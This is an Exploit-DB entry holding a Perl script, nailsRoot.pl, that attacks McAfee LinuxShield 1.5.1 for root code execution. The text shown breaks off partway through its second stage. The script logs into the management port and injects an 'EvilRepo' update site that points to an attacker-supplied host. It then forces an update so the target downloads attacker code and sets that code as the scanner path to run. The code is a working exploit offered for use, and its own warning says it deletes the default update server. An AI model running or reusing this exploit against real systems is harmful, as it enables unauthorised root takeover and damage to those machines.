Exploit-DB #14818
Description: McAfee LinuxShield 1.5.1 - Local/Remote File Inclusion / Remote Code Execution
Type: webapps
Platform: linux
Date: 2010-08-27
Author: Nikolas Sotiriu

Exploit:
#!/usr/bin/perl

##
#  Title:     McAfee LinuxShield <= 1.5.1 Local/Remote Root Exploit
#  Name:      nailsRoot.pl
#  Author:    Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>
#  WARNING:   This Exploit deletes the default Update Server
#
#  Use it only for education or ethical pentesting! The author accepts 
#  no liability for damage caused by this tool.
#  
##

use strict;
use IO::Socket::SSL;
use Getopt::Std;

my %args;
my $ack;
my $timestamp;

getopt('h:p:u:v:e:a:g:', \%args);

my $gen_exec    = $args{g};

if (defined $gen_exec) {
	genEx($gen_exec);
}

my $target_host = $args{h} || usage();
my $target_port = $args{p} || 65443;
my $nails_user  = $args{u} || usage();
my $nails_pass  = $args{v} || "";
my $exec_path   = $args{e} || "/opt/McAfee/cma/scratch/update/catalog.z";
my $my_host     = $args{a} || "";

my $range = 50000000;
my $minimum = 90000000;

my $randomtask = int(rand($range)) + $minimum;

my $pre="sconf ODS_99 ";
my $post="\x0d\x0a";

my $setrepo1='db set 1 _table=repository status=1 siteList=<?xml\ version="1.0"\ encoding="UTF-8"?><ns:SiteLis'.
             'ts\ xmlns:ns="naSiteList"\ GlobalVersion="[PII_REDACTED]3110"\ LocalVersion="[PII_REDACTED]1903"\ Type="Clie'.
             'nt"><SiteList\ Default="1"\ Name="SomeGUID"><HttpSite\ Type="repository"\ Name="EvilRepo"\ Order="1"'.
             '\ Server="';

my $setrepo2=':80"\ Enabled="1"\ Local="1"><RelativePath>nai</RelativePath><UseAuth>0</UseAut'.
             'h><UserName></UserName><Password\ Encrypted="0"/></HttpSite></SiteList></ns:SiteLists> _cmd=update';

my $setsite="task setsitelist";

my $begin="begin";

my$set="set ";
my $profile=" nailsd.profile.ODS_99.allFiles=true nailsd.profile.ODS_99.childInitTmo=60".
       " nailsd.profile.ODS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=10000 nailsd.profile.ODS".
       "_5.datPath=/opt/NAI/LinuxShield/engine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.profile.".
       "ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibDir=/opt/NAI/LinuxShield/engine/lib nailsd.prof".
       "ile.ODS_99.enginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so".
       " nailsd.profile.ODS_99.factoryInitT".
       "mo=60 nailsd.profile.ODS_99.heuristicAnalysis=true nailsd.profile.ODS_99.macroAnalysis=true nailsd.p".
       "rofile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99.mime=true nailsd.profile.ODS_99.noJokes=false nails".
       "d.profile.ODS_99.program=true nailsd.profile.ODS_99.quarantineChildren=1 nailsd.profile.ODS_99.quaran".
       "tineDirectory=/quarantine nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.profile.ODS_99.scan".
       "Children=2 nailsd.profile.ODS_99.scanMaxTmo=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profil".
       "e.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=true nailsd.profile.ODS_99.scannerPath=".
       "$exec_path".
       " nailsd.profile.ODS_99.scansPerChild=10000 nailsd.profile.ODS_99.sl".
       "owScanChildren=0 nailsd.profile.ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.filter.0.pat".
       "h=/proc nailsd.profile.ODS_99.filter.0.subdir=true nailsd.profile.ODS_99.filter.extensions.mode=all ".
       "nailsd.profile.ODS_99.filter.extensions.type=extension nailsd.profile.ODS_99.action.Default.primary=".
       "Clean nailsd.profile.ODS_99.action.Default.secondary=Quarantine nailsd.profile.ODS_99.action.App.pri".
       "mary=Clean nailsd.profile.ODS_99.action.App.secondary=Quarantine nailsd.profile.ODS_99.action.timeou".
       "t=Pass nailsd.profile.ODS_99.action.error=Block";

my $commit="commit ";

my $setdb=" _table=schedule taskName=$randomtask taskType=On-Demand taskInfo=profileName=ODS_99,".
        "paths=path:/root/tmp;exclude:false timetable=type=unscheduled taskResults=0 i_lastRun=[PII_REDACTED] status=Stopped _cmd=insert";
	#update _where= i_taskId=2";

my $execupd="task nstart LinuxShield Update";
my $execute="task nstart $randomtask";

banner();

if ($exec_path eq "/opt/McAfee/cma/scratch/update/catalog.z") {
	if ($my_host eq "") {
		usage();
	}
	stOne();
}else{
	stTwo();
}

sub stOne {
	my $reposock = IO::Socket::SSL->new(
                        PeerAddr => $target_host,
                        PeerPort => $target_port,
                        Proto    => 'tcp',
        );

	if (defined $reposock) {
		print "[*] Executing Stage One\n";
		print "-----------------------\n";		

                $ack=<$reposock>;
                print $ack;

                print $reposock "auth ".$nails_user." ".$nails_pass.$post;
                $ack=<$reposock>;
                if ($ack=~m/ERR authentication failure/){
                        print "[-] Authentication failed...\n";
                        exit(1);
                }
                print $ack;
                sleep(1);

                print "[+] Repo update: inject evil repo\n";
                print $reposock $setrepo1.$my_host.$setrepo2.$post;
                sleep(1);

                print "[+] Repo Site update: update site task\n";
                print $reposock $setsite.$post;
                $ack=<$reposock>;
                print $ack;
                sleep(1);

                print "[+] Execute AV Update: downloading evil code\n";
                print $reposock $execupd.$post;
                sleep(5);  # Update needs a bit time
		$reposock->shutdown(1);
		
	}
	stTwo();
}

sub stTwo {
        my $sock = IO::Socket::SSL->new(
                        PeerAddr => $target_host,
                        PeerPort => $target_port,
                        Proto    => 'tcp',
        );

	if (defined $sock) {
                print "\n\n[*] Executing Stage TWO\n";
                print "-----------------------\n";

		$ack=<$sock>;
		print $ack;
		
		print $sock "auth ".$nails_user." ".$nails_pass.$post;
		$ack=<$sock>;
		if ($ack=~m/ERR authentication failure/){
			print "[-] Au